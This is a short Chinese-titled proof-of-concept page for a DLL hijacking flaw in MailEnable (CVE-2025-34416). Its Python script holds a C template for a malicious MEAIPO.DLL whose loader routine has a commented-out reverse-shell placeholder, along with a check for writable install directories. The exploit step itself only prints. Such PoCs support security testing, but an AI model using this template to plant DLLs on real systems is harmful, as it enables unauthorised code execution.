CVE-2025-34416 MailEnable不安全DLL加载漏洞导致本地代码执行

#!/usr/bin/env python3 """ CVE-2025-34416 PoC - MailEnable MEAIPO.DLL Hijacking This PoC demonstrates DLL search order hijacking vulnerability in MailEnable. Note: This is for educational and authorized testing purposes only. """ import os import ctypes from ctypes import wintypes def create_malicious_dll(): """ Generate a malicious DLL that will be loaded by MailEnable. In a real attack, this DLL would contain shellcode or malicious functions. """ dll_template = ''' // Malicious MEAIPO.DLL for CVE-2025-34416 #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute malicious code here // This code runs when the DLL is loaded by MailEnable MessageBox(NULL, "Malicious DLL Loaded", "CVE-2025-34416", MB_OK); // Example: Spawn a reverse shell or execute payload // system("cmd.exe /c <malicious_command>"); } return TRUE; } // Export functions that MailEnable expects to find int MEA_IPO_Initialize() { return 0; } ''' return dll_template def check_vulnerability(): """ Check if MailEnable installation directory is writable by current user. """ # Common MailEnable installation paths mailenable_paths = [ r"C:\Program Files\MailEnable\bin", r"C:\Program Files (x86)\MailEnable\bin", r"C:\MailEnable\bin" ] for path in mailenable_paths: if os.path.exists(path): dll_path = os.path.join(path, "MEAIPO.DLL") print(f"[*] Found MailEnable installation: {path}") print(f"[*] MEAIPO.DLL location: {dll_path}") # Check if directory is writable test_file = os.path.join(path, ".write_test") try: with open(test_file, 'w') as f: f.write('test') os.remove(test_file) print(f"[!] VULNERABLE: Directory is writable by current user!") return True, path except: print(f"[*] Directory is not writable by current user") return False, path print("[*] MailEnable installation not found") return False, None def exploit(target_path): """ Exploit the DLL hijacking vulnerability by planting malicious DLL. """ malicious_dll = os.path.join(target_path, "MEAIPO.DLL") # In real attack, compile and place the malicious DLL print(f"[*] Planting malicious MEAIPO.DLL to: {malicious_dll}") print("[*] When MailEnable admin is executed, the malicious DLL will be loaded") print("[*] Attack requires social engineering or scheduled task to trigger") if __name__ == "__main__": print("="*60) print("CVE-2025-34416 - MailEnable DLL Hijacking PoC") print("="*60) is_vulnerable, path = check_vulnerability() if is_vulnerable: print("\n[*] Exploitation possible - proceed with caution") # exploit(path) # Uncomment to simulate exploitation